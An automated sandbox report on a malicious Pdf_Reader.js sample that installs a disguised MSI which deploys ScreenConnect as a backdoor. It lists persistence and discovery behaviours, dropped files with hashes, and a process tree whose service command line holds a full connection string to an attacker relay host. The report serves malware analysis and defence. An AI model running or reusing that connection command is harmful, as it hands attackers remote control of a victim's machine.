Analysis

  • max time kernel
    298s
  • max time network
    263s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 03:30

General

  • Target
    Pdf_Reader.js
  • Size 7KB
  • Sample260710-d2j6cady3z
  • SHA256 c43dd1538dfd39a534ea88696c8effb0a238989fe003fd9e6655a96f6499bc07
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Pdf_Reader.js
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2132
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\pdf_Reader.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4264
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E63FC7F8E848E2AC3F6E35757CF08B05 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:6120
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIDABB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240704484 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5440
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding AABBDDFC60246099692D615C1564C82F
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:1748
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding ADB58B2CE35C1443729CBFC16BE4F26F E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:5972
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
      PID:3952
    • C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relays.exclaimprof.top&p=8041&s=1f1af11e-e523-497b-b399-3de4868d8b17&k=BgIAAACkAABSU0ExAAgAAAEAAQApLUsahMB4z4RuAno61WmUnFxQREq6AAlO5qol%2fACwaUYA3xmQvZda0s3UUWAeZbOJaFsgd828A2QhMTyqpqehRnt0PvVb%2bH40OvxLnuBlJhjwfBjn97YiAWmGMLmCC0Qoj2BX%2bf9p38qsin4cMPkE9313EpCdqGMh2sOFPAtNPrkyuGztZL7jLKIAnXBAD076rM3e0uFVIOTrq%2feeblNNpUyXWUwhOjAYIvNaSSKrTQyN95Ki4fTJEbICvEXoc413tOEeO1%2brWpe90sjdoM13y5jKNyrSztTWXCwf3vYdKdYwNwlZ1TdbiAhKVqr4ZCWwsM1axqCWrNYeJWAdjym4&c=DC&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5348
      • C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.WindowsClient.exe" "RunRole" "8e3016f5-fac0-429f-a00a-2605cc66768c" "User"
        2⤵
        • Executes dropped EXE
        PID:4268
      • C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.WindowsClient.exe" "RunRole" "0cd3637c-7f33-436b-8737-efa312016c9a" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1904

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e58e29c.rbs

          • Path C:\Config.Msi\e58e29c.rbs
          • Size 214KB
          • SHA256 80a85e672425ba517101122c61d6f86f85e41c2126fcbe42ab19feaebdec604f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\Client.Override.en-US.resources
          • Size 426B
          • SHA256 4ae57b70477e37c79d72250169496b375be3b50cacfc2d823ef75f051ad710d4
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\Client.Override.resources
          • Size 11KB
          • SHA256 26f0ade87474bd5462c471caf2f2bdfd2b3d62daaabf3a5d741d82fb29bcb7c5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\app.config
          • Size 2KB
          • SHA256 c49e2b8b514263593fa87ce6a9dad3f345b3d43040fbfa434809451cc0ad18f9
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ba58d2f1eddb5b09)\system.config
          • Size 938B
          • SHA256 3cc57fe607f1a18cca457869b14ec057b912d8cd976f79e0aabc10a341414494
          • MD5 SHA1 SHA512 TLSH

          MSIDABB.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIDABB.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIDABB.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIDABB.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIDABB.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIDABB.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          pdf_Reader.msi

          • Path C:\Users\Admin\AppData\Local\Temp\pdf_Reader.msi
          • Size 12.8MB
          • SHA256 073e9f58498fb007c7a99d2b671af87e91aa2602eacd570939872bc4fb393637
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIE4BF.tmp

          • Path C:\Windows\Installer\MSIE4BF.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2520-124-0x00000249D6100000-0x00000249D6AA4000-memory.dmp

          memory/4268-121-0x0000000002750000-0x0000000002768000-memory.dmp

          memory/4268-117-0x000000001B580000-0x000000001B60C000-memory.dmp

          memory/4268-115-0x0000000000500000-0x0000000000596000-memory.dmp

          memory/4268-116-0x00000000026D0000-0x0000000002706000-memory.dmp

          memory/4268-120-0x00000000026B0000-0x00000000026C8000-memory.dmp

          memory/4268-122-0x000000001B970000-0x000000001BA42000-memory.dmp

          memory/4268-119-0x000000001BB00000-0x000000001BC88000-memory.dmp

          memory/4268-118-0x000000001B7C0000-0x000000001B96A000-memory.dmp

          memory/5348-100-0x00000000044A0000-0x00000000044D6000-memory.dmp

          memory/5348-101-0x0000000004760000-0x00000000047F2000-memory.dmp

          memory/5348-103-0x00000000046C0000-0x0000000004701000-memory.dmp

          memory/5348-105-0x0000000004950000-0x0000000004A22000-memory.dmp

          memory/5348-96-0x0000000004450000-0x00000000044A0000-memory.dmp

          memory/5348-74-0x00000000041E0000-0x00000000041F8000-memory.dmp

          memory/5440-33-0x0000000006410000-0x00000000069CA000-memory.dmp

          memory/5440-32-0x0000000005CA0000-0x0000000005E4A000-memory.dmp

          memory/5440-28-0x0000000005A60000-0x0000000005AEC000-memory.dmp

          memory/5440-24-0x00000000059C0000-0x00000000059CA000-memory.dmp

          memory/5440-20-0x0000000005980000-0x00000000059AE000-memory.dmp